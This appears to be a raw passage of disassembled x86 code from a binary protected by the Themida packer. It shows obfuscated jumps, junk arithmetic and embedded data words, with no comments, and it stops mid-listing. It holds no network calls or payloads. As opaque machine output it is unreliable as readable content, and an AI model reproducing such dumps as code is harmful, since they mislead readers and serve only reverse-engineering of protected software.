		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	2ECFh
		mov	[esp], edx
		push	ecx
		jmp	loc_550A70
; ---------------------------------------------------------------------------
		dd 0FF57DFF7h, 0E4E92404h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550463:				; CODE XREF: Themida_:005562A1j
		xor	ecx, 0A092D44h
		jmp	loc_55B2D7
; ---------------------------------------------------------------------------
		dw 0DD30h
		dd 28F5805Bh, 80A8C580h, 0EF8002C7h, 8B08E9BEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550482:				; CODE XREF: Themida_:0055A986j
		push	67E53E66h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 78322B59h
		xor	esi, 0EFB3130Ch
		push	eax
		mov	eax, esi
		mov	ebp, eax
		pop	eax
		mov	esi, [esp]
		jmp	loc_55242D
; ---------------------------------------------------------------------------
		dw 574Eh
		dd 0EFF812BFh, 5FFE3116h, 7EE9F101h, 550000B6h,	38D2E9h
		dd 66CB8100h, 564C662Ch, 861BCFBEh, 0F74E4E12h,	9EBD55D6h
		dd 31B7BFB8h, 0F3315DEEh, 8324348Bh, 0C38104C4h, 0DBC6CCD1h
		dd 12C6BA52h, 0D3016679h, 7E62E9h, 305A6600h, 0EE885BDDh
		dd 0FFF457E9h, 3FDAB9FFh, 58E965B8h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55050B:				; CODE XREF: Themida_:0055061Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_551055
		push	ebp
		mov	ebp, 578509A3h
		push	eax
		jmp	loc_552FFB
; ---------------------------------------------------------------------------
aSF		db '^é{F',0
		dw 4800h
		dd 0DFD7BD55h, 0E829DFBFh, 83242C8Bh, 0C68104C4h, 1B7F42F1h
		dd 0EE81C601h, 1B7F42F1h, 86E95058h, 80FFFFFEh,	0C680DBE6h
		dd 5AF32835h, 3614E9h, 240C8700h, 6FEDE95Ch, 0CE010000h
		dd 4B95159h, 1000000h, 343359CEh, 24343124h, 5C243433h
		dd 0FFF236E9h, 4ACF81FFh, 817A9A4Fh, 9A5F7FF7h,	5FFB017Eh
		dd 2474FF53h, 71B9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550596:				; CODE XREF: Themida_:00554700j
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5526AF
; ---------------------------------------------------------------------------
		db 81h
		dd 0A56375EBh, 1C335A0Bh, 241C3124h, 34BCE9h, 0E9D2F700h
		dd 423Fh, 0B850C601h, 46F0074h,	0A625D8F7h, 5567142h, 0D43BCE90h
		dd 0A902E9h, 4FB35300h,	0B252D3F6h, 5BC28059h, 305AD330h
		dd 0AEE95BDEh, 2900003Fh, 0C38159CBh, 734E6187h, 24AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_550609:				; CODE XREF: Themida_:005548AFj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_55050B
		push	395Bh
		mov	[esp], edx
		push	445h
		mov	[esp], ebp
		jmp	loc_551FE2
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 0E92434FFh, 6AC1h, 515FF901h, 42474FFh, 83240C8Bh, 48F04C4h
		dd 24248B24h, 24043166h, 0F155E99Ch, 3433FFFFh,	24343124h
		dd 5C243433h, 68240489h, 152Ah,	0E9242489h, 249h
; ---------------------------------------------------------------------------


loc_550678:				; CODE XREF: Themida_:0054FCFFj
		xor	edi, 411F0953h
		not	edi
		sub	edi, 4FF41AF5h
		push	edx
		mov	edx, 73463B64h
		jmp	loc_556AFE
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0FC54E95Ch
		db 2 dup(0FFh)
word_55069A	dw 8B66h		; DATA XREF: Themida_:0054F744o
		dd 8956240Ch, 9294E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5506A6:				; CODE XREF: Themida_:0055992Ej
		pop	esp
		push	403Bh
		jmp	loc_55236E
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0A412FBBBh, 5BDE2916h, 0BFCC681h, 0BF577E71h, 457A1AF1h
		dd 0F6E9FE29h, 30000096h, 745BE9EFh, 76BB0000h,	81269D14h
		dd 0BA1582F3h, 0D5CB817Bh, 8141271Bh, 8C0A66C3h, 82CB813Bh
		dd 8175A13Ah, 0B33D27F3h, 8BD889FDh, 0F8E9241Ch, 2D0000A8h
		dd 0D33B7706h, 0E958C329h, 80D7h, 34B25253h, 88D08850h
		dd 8E958C3h, 81000042h,	0A041EFC7h, 0E8EF817Fh,	592DD67Bh
		dd 850BE9h, 81D7F700h, 0F842B1C7h, 33F78138h, 8982A9DFh
		dd 8BA5FF8h, 1C281DCh, 5B5258C2h, 0B3E0E9h, 0BAF78100h
		dd 8959CE9Ah, 44295FF8h, 3BE90424h
		db 47h,	2 dup(0)
byte_550763	db 0ACh			; DATA XREF: Themida_:0054F6B8o
		dd 3DB45052h, 0C4FECCFEh, 8055E480h, 0E2888CC4h, 0E9BC0458h
		dd 7997h, 0B2241489h, 8BD300F1h, 0C4832414h, 0C0B60F04h
		dd 3C9B68h, 24348900h, 6850E689h, 39590E49h, 8324048Bh
		dd 0F74004C4h, 7CBB53D0h, 81016C22h, 0C47E69F3h, 0B59BE915h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5507B6:				; CODE XREF: Themida_:00551F7Bj
		sub	[esp+8], ebx
		pop	ebx
		pop	ebp
		pop	eax
		push	ebp
		jmp	loc_55584F
; ---------------------------------------------------------------------------


loc_5507C3:				; CODE XREF: Themida_:0055AB08j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		jmp	loc_55C03C
; ---------------------------------------------------------------------------
		db 1, 0FAh, 81h
		dd 8254E8EAh, 14875F53h, 24248B24h, 10E4E9h, 240C8900h
		dd 3048FFB9h, 0B705BF6Dh, 6CE992CFh
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5507FB:				; CODE XREF: Themida_:0055B87Cj
		xor	edi, esi
		pop	esi
		jmp	loc_555DF8
; ---------------------------------------------------------------------------
		db 80h
		dd 0EEC0B4CEh, 80C68004h, 0FFFD3AE9h, 243C89FFh, 0E924148Bh
		dd 51E2h, 73B3E954h, 31660000h,	68662414h, 89662296h, 0F7662414h
		dd 0BE92414h, 8B000079h, 0A3E92424h
		db 88h,	2 dup(0)
byte_55083F	db 83h			; DATA XREF: Themida_:0054F62Co
		dd 1C8904ECh, 0FEBB24h,	5F210000h, 241C8B1Ch, 2B2CE953h
		dd 0C8B0000h, 4C48124h,	31000000h, 8CE9240Ch, 81000062h
		dd 4C6h, 4BF5700h, 0E9000000h, 7EBEh, 3304C483h, 14312414h
		dd 24143324h, 0C8B665Ch, 5C846824h, 14890000h, 0E95A5424h
		dd 0B3A5h, 5C240C87h, 9C243CD2h, 0FFEF0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5508A5:				; CODE XREF: Themida_:0055208Bj
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		jmp	loc_554264
; ---------------------------------------------------------------------------
aXqvZs		db 'ºÝxQv)ÓZéÀ^',0
		dd 24048100h, 4, 6A3B6858h, 4FE90000h, 81000097h, 5E11CFEFh
		dd 24048B2Dh, 4C481h, 3C330000h, 243C3124h, 0E9243C33h
		dd 6447h
; ---------------------------------------------------------------------------


loc_5508F0:				; CODE XREF: Themida_:005593ECj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 37FE1ED0h
		inc	ebp
		push	ecx
		mov	ecx, 30EB6ADBh
		or	ecx, 3E360CFh
		jmp	loc_55834B
; ---------------------------------------------------------------------------


loc_55090B:				; CODE XREF: Themida_:00551784j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAsii		db 'a鈨',0
		align 4
		dd 241C8759h, 0DCBE95Ch, 0EAC10000h, 0CBF28107h, 12F41A4h
		dd 815B5AD6h, 4C6h, 24343300h, 33243431h, 0E95C2434h, 0A3CAh
		dd 0E92434FFh, 6CF7h
; ---------------------------------------------------------------------------


loc_550948:				; CODE XREF: Themida_:005518ACj
		pop	edx
		xor	ebp, 4F136564h
		inc	ebp
		add	ebp, 0F2366062h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_553C9F
		push	6D67h
		mov	[esp], edx
		push	1Ch
		jmp	loc_554558
; ---------------------------------------------------------------------------
		dd 0F4468h, 242C8900h, 0E957E589h, 0FFFFF4CFh, 0F6CFFE58h
		dd 525066D7h, 0CE80B5B6h, 8BE953F1h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55099B:				; CODE XREF: Themida_:0055A06Cj
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 76E2B96Dh
		sub	esi, ecx
		pop	ecx
		pop	ebx
		add	esi, 4
		push	7E38h
		jmp	loc_558745
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF830000h, 243C8704h, 0FE47E95Ch, 0C89FFFFh
		dd 4D45E924h, 0D8290000h, 0B6598405h, 241C8B08h, 4C481h
		dd 81590000h, 4ECh, 243C8900h, 4EC81h, 0C890000h, 4476B924h
		dd 0E181180Ah, 12F60D94h, 78FEC181h, 0CF896CEBh, 5D14E9h
		db 0
; ---------------------------------------------------------------------------


loc_550A0D:				; CODE XREF: Themida_:005568F8j
		add	esp, 4
		jmp	loc_54F7D1
; ---------------------------------------------------------------------------
dword_550A18	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFED8Bh, 5833882Dh
					; DATA XREF: Themida_:0054F738o
		dd 2434FF1Fh, 6C6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550A35:				; CODE XREF: Themida_:00557686j
		pop	edx
		add	esp, 4
		pop	edi
		pop	dword ptr [edi+24h]


loc_550A3D:				; CODE XREF: Themida_:005511AEj
		push	7C82h
		mov	[esp], ebx
		jmp	loc_55BFE7
; ---------------------------------------------------------------------------
		dw 2C5Ah
		dd 2D7FE952h, 0C2810000h, 4, 209768h, 243C8900h, 4BFh
		dd 0E8C28100h, 0E9538254h, 0FFFFFD65h
; ---------------------------------------------------------------------------


loc_550A70:				; CODE XREF: Themida_:00550453j
		push	7F1871DAh
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55BF61
; ---------------------------------------------------------------------------
aISpdhkb	db '‰,$½ S¯dhKB',0
		dd 24148900h, 6D59E9h, 24048100h, 4, 4C5815Dh, 83000000h
		dd 2C8702C5h, 4CCE924h
		db 2 dup(0)
word_550AC2	dw 0C8Bh		; DATA XREF: Themida_:0054F5DCo
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 8B240C87h, 34892424h
		dd 4EC8124h, 89000000h,	4832424h, 0E95E0424h, 21E2h, 5C24048Fh
		dd 9C2404FFh, 488EE9h, 5669BF00h, 0B6E969A4h, 0F600000Fh
		dd 885166D0h, 0E9F088C1h, 2058h, 875DEF01h, 0E4E9243Ch
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B1F:				; CODE XREF: Themida_:00558EE6j
		add	dword ptr [esp+4], 293D0E25h
		jmp	loc_5595A5
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55ACDF
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 58h
		dd 0C8BCD29h, 2B58E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550B4A:				; CODE XREF: Themida_:00559064j
		add	ebx, 0B7056Ah
		add	ebx, 40DB10BBh
		jmp	loc_556047
; ---------------------------------------------------------------------------
		db 83h
		dd 34FF04C4h, 0BDE95D24h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B67:				; CODE XREF: Themida_:0055567Cj
		neg	eax
		sub	eax, 699CDB11h
		add	ecx, eax
		pop	eax
		add	ecx, eax
		sub	ecx, 26D315A2h
		jmp	loc_55B79A
; ---------------------------------------------------------------------------


loc_550B7E:				; CODE XREF: Themida_:00553B77j
		pop	ecx
		and	eax, ebx
		jmp	loc_5583DA
; ---------------------------------------------------------------------------
		dw 8966h
		dd 24E92404h, 21FFFFECh, 0E6C15DEEh, 3BCE8106h,	8155A624h
		dd 0F63537EEh, 0E9F72955h, 1FDDh, 1978E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550BAE:				; CODE XREF: Themida_:00559626j
		add	esi, 45DD36CBh
		add	esi, edi
		sub	esi, 45DD36CBh
		pop	edi
		dec	esi
		jmp	loc_55113C
; ---------------------------------------------------------------------------
		db 53h
		dd 42474FFh, 24048F5Bh,	3E13685Ch, 1C890000h, 2092BB24h
		dd 0EB817689h, 1F2D18BDh, 6A50E381h, 0EB810503h, 0AFCFCA12h
		dd 55E368h, 0B077E900h,	0C5810000h, 1F762241h, 0B21CE9h
		dd 76C38100h, 0F72D0563h, 0FFEB83D3h, 5108E3C1h, 10FEB850h
		dd 3AE9764Eh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550C1B:				; CODE XREF: Themida_:005595B0j
		add	[esp+8], eax
		pop	eax
		sub	dword ptr [esp+4], 57320F81h
		add	dword ptr [esp+4], 0C717325h
		add	[esp+4], ebx
		jmp	loc_555989
; ---------------------------------------------------------------------------
		db 28h,	0C8h, 4
		dd 91B35373h, 0D800B104h, 665BB12Ch, 83240C8Bh,	0C38002C4h
		dd 12CEE92Dh, 14890000h, 68E28924h, 3EAEh, 56241C89h, 9234E9h
		dd 2EC68100h, 0E9A95574h, 91FCh, 8B24248Bh, 54562404h
		dd 312DE9h, 74FF5100h, 34FF0424h, 93E95924h, 81000095h
		dd 4C3h, 0E2895200h, 4C281h, 0EA830000h, 24148704h, 2414895Ch
		dd 3DD2E9h, 132C00h, 2DE7E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550CB6:				; CODE XREF: Themida_:00553A43j
		mov	edi, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_559D45
; ---------------------------------------------------------------------------


loc_550CCF:				; CODE XREF: Themida_:00557313j
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, 4
		jmp	loc_55B35C
; ---------------------------------------------------------------------------
		dd 335DEE01h, 34312434h, 24343324h, 6624248Bh, 66C8AF0Fh
		dd 0A8E99C51h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D0B:				; CODE XREF: Themida_:0055B05Bj
		pop	ecx
		jmp	loc_554F2B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 5357E389h, 273A2968h, 0C3815B02h, 3F3CD532h,	89D88950h
		dd 0AD60E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550D2E:				; CODE XREF: Themida_:00551E39j
		not	edi
		push	ebp
		push	edi
		mov	edi, 41E627A7h
		xor	edi, 1252363h
		push	ecx
		mov	ecx, 55D04427h
		sub	edi, ecx
		jmp	loc_555B22
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0F7AFE924h, 0C89FFFFh, 4BFE6824h, 0EE90000h,	5AFFFFEFh
		dd 37346424h, 48BC188h,	24F7E924h, 0C4830000h, 2C58304h
		dd 31242C33h, 2C33242Ch, 24248B24h, 58D7E9h, 24348B00h
		dd 4C481h, 0B9510000h, 108E75B2h, 3495E181h, 0D9F70D3Dh
		dd 19D9F181h, 0F1814CE3h, 0B310D2ADh, 0C8BCE01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557D49
; ---------------------------------------------------------------------------
		db 89h
		dd 10BE2434h, 81095C62h, 282BFDE6h, 9BC3E952h, 0E8BE0000h
		dd 0E91A2C43h, 7060h, 0D20C181h, 0CD892B42h, 806FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550DE6:				; CODE XREF: Themida_:0055A8A0j
		push	edx
		push	ecx
		mov	ecx, 0B1E4C8Eh
		mov	edx, 0B1E4C92h
		jmp	loc_553282
; ---------------------------------------------------------------------------


loc_550DF7:				; CODE XREF: Themida_:00554C84j
		push	3AE2h
		mov	[esp], edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	edi
		push	edi
		push	esi
		pop	edi
		pop	esi
		not	esi
		xchg	esi, edi
		jmp	loc_557FE0
; ---------------------------------------------------------------------------
		db 81h
		dd 1C4FDDEFh, 81DFF70Ch, 0A0B5DEF7h, 21EE8157h,	0E9116877h
		dd 8D22h, 148BA804h, 4C48124h, 2C000000h, 2FEDE990h, 0EB210000h
		dd 0FFEC82E9h, 0D2E950FFh, 810000A1h, 8256AEC3h, 164E902h
		dd 1C8B0000h, 5BE95124h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550E63:				; CODE XREF: Themida_:00557B87j
		mov	al, bh
		inc	al
		push	edx
		mov	dh, al
		mov	bh, dh
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	bh, 0A8h
		push	ax
		mov	al, 21h
		sub	bh, al
		pop	ax
		sub	ch, bh
		pop	ebx
		push	ebx
		mov	bh, 0ACh
		xor	ch, bh
		pop	ebx
		add	ch, 0FFh
		xor	ch, 13h
		push	edx
		mov	dl, 7
		and	ch, dl
		jmp	loc_557D68
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0EB7DE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E9E:				; CODE XREF: Themida_:0055B77Dj
		push	57AEh
		mov	[esp], ecx
		push	edi
		mov	edi, 5D3E30B0h
		jmp	loc_55764D
; ---------------------------------------------------------------------------
aMeSQ		db '¾Þm¥"é~Ÿ',0
		db 0
; ---------------------------------------------------------------------------


loc_550EBB:				; CODE XREF: Themida_:0055658Ej
		sub	esi, 4
		jmp	loc_5527B9
; ---------------------------------------------------------------------------


loc_550EC3:				; CODE XREF: Themida_:00555999j
		push	ecx
		mov	ecx, 67312A5Bh
		jmp	loc_5581DB
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 3FDA50D0h, 58EF814Fh, 81345826h, 537DB8F7h, 0E9FA212Bh
		dd 6F0Fh, 0A3C2815Fh, 55539003h, 4455E956h, 61590000h
		dd 0AAB5E9h, 2474FF00h,	48F5E04h, 24248B24h, 24048B66h
		dd 8904EC83h, 0EC81242Ch, 4, 32CAE954h,	0F6810000h, 27F8390Bh
		dd 6383F681h, 0F68174F7h, 0AD63F41Fh, 348BF121h, 648EE924h
		dd 874F0000h, 68FDh, 2C810000h,	72D2024h, 14EAE913h, 3C890000h
		dd 2BF24h, 0FA010000h, 8E78E9h,	8734FF00h, 19E968h, 0EFABE900h
		dd 0E956FFFFh, 8B9Ch, 4BBh, 0E9DE0100h,	7E4h, 0E688FC88h
		dd 8124048Bh, 4C4h, 67B5E900h, 248B0000h, 4FF6624h, 18E99C24h
		dd 81FFFFE8h, 2C4h, 73B25200h, 148BD028h, 4C48324h, 0FFFC88E9h
		dd 0FC330FFh, 34FFC0B6h, 8568E987h, 0C3810000h,	53312693h
		dd 8EE9C301h, 80000039h, 0EAC0ECCAh, 5931E902h,	0D7010000h
		dd 4C7835Ah, 8B243C87h,	51502424h, 34786768h, 0C181592Bh
		dd 0D4CB879Dh, 159C889h, 2297E9C7h, 50520000h, 2DE9CBB0h
		dd 890000A6h, 0EC812414h, 4, 494668h, 50E95400h, 3100009Ch
		dd 1C33241Ch, 24248B24h, 24048966h, 0FFE78AE9h,	0C7835DFFh
		dd 0E3895304h, 4C381h, 5AE90000h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55103B:				; CODE XREF: Themida_:0055BE57j
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		dd 0C151A6BBh, 5EF32990h, 9080E9h, 0E9D02900h, 3490h
; ---------------------------------------------------------------------------


loc_551054:				; CODE XREF: Themida_:00556B96j
		pop	ebp


loc_551055:				; CODE XREF: Themida_:0055050Fj
					; Themida_:loc_55671Cj
		push	dword ptr [esp]
		jmp	loc_554168
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 2C48324h, 807AEB80h,	0C328F1C3h, 5A1EE9h, 7A52B800h
		dd 0E0C133ADh, 7E8C108h, 0D0F7D8F7h, 5AF4A12Dh,	58C38901h
		dd 7D26E9h, 24248B00h, 240C8B66h, 8AE8E9h, 0FBE95700h
		dd 5D000080h, 0EA81DA01h, 27F20183h, 0E9241C8Bh, 0FFFFF7C8h
		dd 0E9CF015Bh, 0A30Dh, 4C581h, 0B8500000h, 4, 3358C501h
		dd 2C31242Ch, 242C3324h, 0E089505Ch, 6A08BE56h,	0C68175D3h
		dd 38494711h, 4EEBC681h, 0F00151E3h, 0B850575Eh, 6F04689Eh
		dd 0BCFF1FBFh, 58C70193h, 75C6F781h, 0C7811FC2h, 21640F3Fh
		dd 21B6EF81h, 0F8013E67h, 310BE9h
		db 0
; ---------------------------------------------------------------------------


loc_551111:				; CODE XREF: Themida_:00556B10j
		push	edx
		jmp	loc_5587AE
; ---------------------------------------------------------------------------


loc_551117:				; CODE XREF: Themida_:00553F90j
		add	esi, eax
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_558010
; ---------------------------------------------------------------------------


loc_55112E:				; CODE XREF: Themida_:0055AAEEj
		push	51E8h
		mov	[esp], ebx
		push	edx
		jmp	loc_554CBD
; ---------------------------------------------------------------------------


loc_55113C:				; CODE XREF: Themida_:00550BBEj
		sub	esi, 39460F09h
		xor	esi, 4F973F24h
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_559E07
; ---------------------------------------------------------------------------
aHU		db '[h¶U',0
		align 4
		dd 0FF243489h, 8B042474h, 0EE92434h, 50000060h,	42474FFh
		dd 0ABBE9h
		db 0
; ---------------------------------------------------------------------------


loc_551171:				; CODE XREF: Themida_:0055A87Dj
		mov	esi, 69721CFDh
		mov	edx, esi
		pop	esi
		jmp	loc_54FF99
; ---------------------------------------------------------------------------
		dw 62BBh
		dd 293EB215h, 0AF39E9DAh, 0EC810000h, 4, 54243C89h, 4B9515Fh
		dd 1000000h, 7569E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5511A2:				; CODE XREF: Themida_:0055142Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_550A3D
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 0CB472B1h
		jmp	loc_552AAF
; ---------------------------------------------------------------------------
		db 1
aYsE		db 'ÍYé<E',0
		db 0
; ---------------------------------------------------------------------------


loc_5511CB:				; CODE XREF: Themida_:00557629j
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, 0CA5627h
		add	edx, ecx
		push	eax
		mov	eax, 62D27B06h
		neg	eax
		shl	eax, 7
		inc	eax
		jmp	loc_553960
; ---------------------------------------------------------------------------
a1Sel		db '1Ù[éE‹',0
		align 4
		dd 8107EDC1h, 65360BF5h, 5DE90101h, 0E9C68h, 240C8900h
		dd 42474FFh, 83240C8Bh,	48F04C4h, 234DE924h, 8BBA0000h
		dd 0C1187D11h, 0EA8103E2h, 7BCE500Ah, 1AE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55122D:				; CODE XREF: Themida_:00551FD0j
		add	esi, 4
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_555DFF
; ---------------------------------------------------------------------------
		db 56h
		dd 71E9E689h, 83FFFFE9h, 2C8904ECh, 419EBD24h, 0E5C16C73h
		dd 7E5E902h, 0E9550000h, 0FFFFEFD6h, 0E924048Bh, 8AB7h
		dd 0FFE532E9h, 0BF5753FFh, 24DF7809h, 49EDB951h, 0F18179C4h
		dd 194F7A53h, 4B3FE181h, 0C98153EEh, 469F394Dh,	8104E9C1h
		dd 2B2088C1h, 59CF0120h, 0D374C781h, 8157C939h,	782242Ch
		dd 815B5F79h, 790782C3h, 70E2E95Fh, 0D3F70000h,	1B951h
		dd 0FDE90000h, 5000053h, 34661A1Eh, 31C3315Fh, 0E4D1E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5512E2:				; CODE XREF: Themida_:00556185j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	6860h
		jmp	loc_5549BB
; ---------------------------------------------------------------------------
		db 48h
		dd 62C06E2Dh, 58C789F7h, 91CFE9h, 4C28100h, 81000000h
		dd 4C2h, 24148700h, 3E7C15Ch, 5346F781h, 0C78125C3h, 4D5648E6h
		dd 815FFB89h, 6E39E4EDh, 81DD010Ch, 6E39E4C5h, 241C8B0Ch
		dd 5504C483h, 42474FFh,	6430E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551342:				; CODE XREF: Themida_:00552372j
		push	eax
		xor	dword ptr [esp], 20D57A4Bh
		jmp	loc_55360B
; ---------------------------------------------------------------------------


loc_55134F:				; CODE XREF: Themida_:0055AE18j
		mov	[esp], eax
		jmp	loc_54F7B3
; ---------------------------------------------------------------------------
		db 89h
		dd 0C068241Ch, 8900005Fh, 4812424h, 424h, 0B8505B00h, 1FC630F3h
		dd 336D0635h, 0BF574811h, 4E3C11F5h, 0AA14E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551382:				; CODE XREF: Themida_:00558CCEj
		pop	esp
		jmp	loc_55A8C9
; ---------------------------------------------------------------------------
		dd 4702F381h, 0EE81041Eh, 2FFA1EC9h, 1AA1E9h, 0D0296600h
		dd 0AD19E9h, 0D5F75F00h, 9873E9h, 2AB85000h, 407EF41Ch
		dd 0D0F7E0D1h, 0A6CE3540h, 0BF575B19h, 4AE405D0h, 6EFC147h
		dd 0C781E7D1h, 59B53776h, 1625EF81h, 0FB01179Dh, 81243C8Bh
		dd 4C4h, 0FA6DE900h, 5158FFFFh,	32276857h, 815F0729h, 0F65BE3F7h
		dd 8CEF8127h, 8920DF69h, 0F9015FF9h, 8B591988h,	0D7E9241Ch
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551407:				; CODE XREF: Themida_:00559D4Ej
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5580B8
; ---------------------------------------------------------------------------


loc_55141B:				; CODE XREF: Themida_:00554445j
		shr	ebp, 5
		add	ebp, 210524CBh
		xor	ebp, 27C8ABBDh
		add	edx, ebp
		pop	ebp
		jmp	loc_5511A2
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 57000000h,	12E9E789h, 53000076h, 4BBh, 0A8DFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55144E:				; CODE XREF: Themida_:00554B83j
		not	edi
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		push	edx
		mov	edx, 7F1B5EE0h
		add	ecx, edx
		pop	edx
		add	ecx, esi
		sub	ecx, 7F1B5EE0h
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552405
; ---------------------------------------------------------------------------
		db 0B2h
		dd 59CA00F7h, 97E9D308h
		db 8Eh,	2 dup(0)
byte_551483	db 66h			; DATA XREF: Themida_:0054F5E8o
		dd 51240C8Bh, 240C8B54h, 82A1E9h, 24048B00h, 0E904C483h
		dd 521Bh
; ---------------------------------------------------------------------------


loc_55149C:				; CODE XREF: Themida_:00557120j
		mov	edx, 0
		add	edx, 0AA227BEh
		add	edx, eax
		sub	edx, 0AA227BEh
		xor	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		xor	[edi+24h], ecx
		sub	ecx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	ecx
		jmp	loc_558A30
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0B4h
		dd 0E910AC2Ah, 0FFFFF900h
dword_5514D8	dd 240C8B66h, 34FF5456h, 0C4815E24h, 4,	8904EC83h, 0B7BD242Ch
					; DATA XREF: Themida_:0054F6D8o
		dd 45231670h, 1AA6ED81h, 0E581DBC4h, 68393AFAh,	4FE8E9h
		dd 0ACCB8100h, 81567D51h, 820618C3h, 8BD801A0h,	0DEE9241Ch
		dd 5B00001Eh, 815FFE29h, 0EF6B77C7h, 6BE2E91Ch,	4BE0000h
		dd 81000000h, 5258D3EBh, 0E9F30126h, 4754h
; ---------------------------------------------------------------------------


loc_55153C:				; CODE XREF: Themida_:00556010j
		sub	edx, 2DDB5035h
		and	eax, edx
		pop	edx
		jmp	loc_55879C
; ---------------------------------------------------------------------------


loc_55154A:				; CODE XREF: Themida_:0055832Aj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], esp
		push	eax
		push	ebx
		jmp	loc_551F68
; ---------------------------------------------------------------------------


loc_55155B:				; CODE XREF: Themida_:00556CA3j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_557E67
; ---------------------------------------------------------------------------


loc_55156B:				; CODE XREF: Themida_:00554CD7j
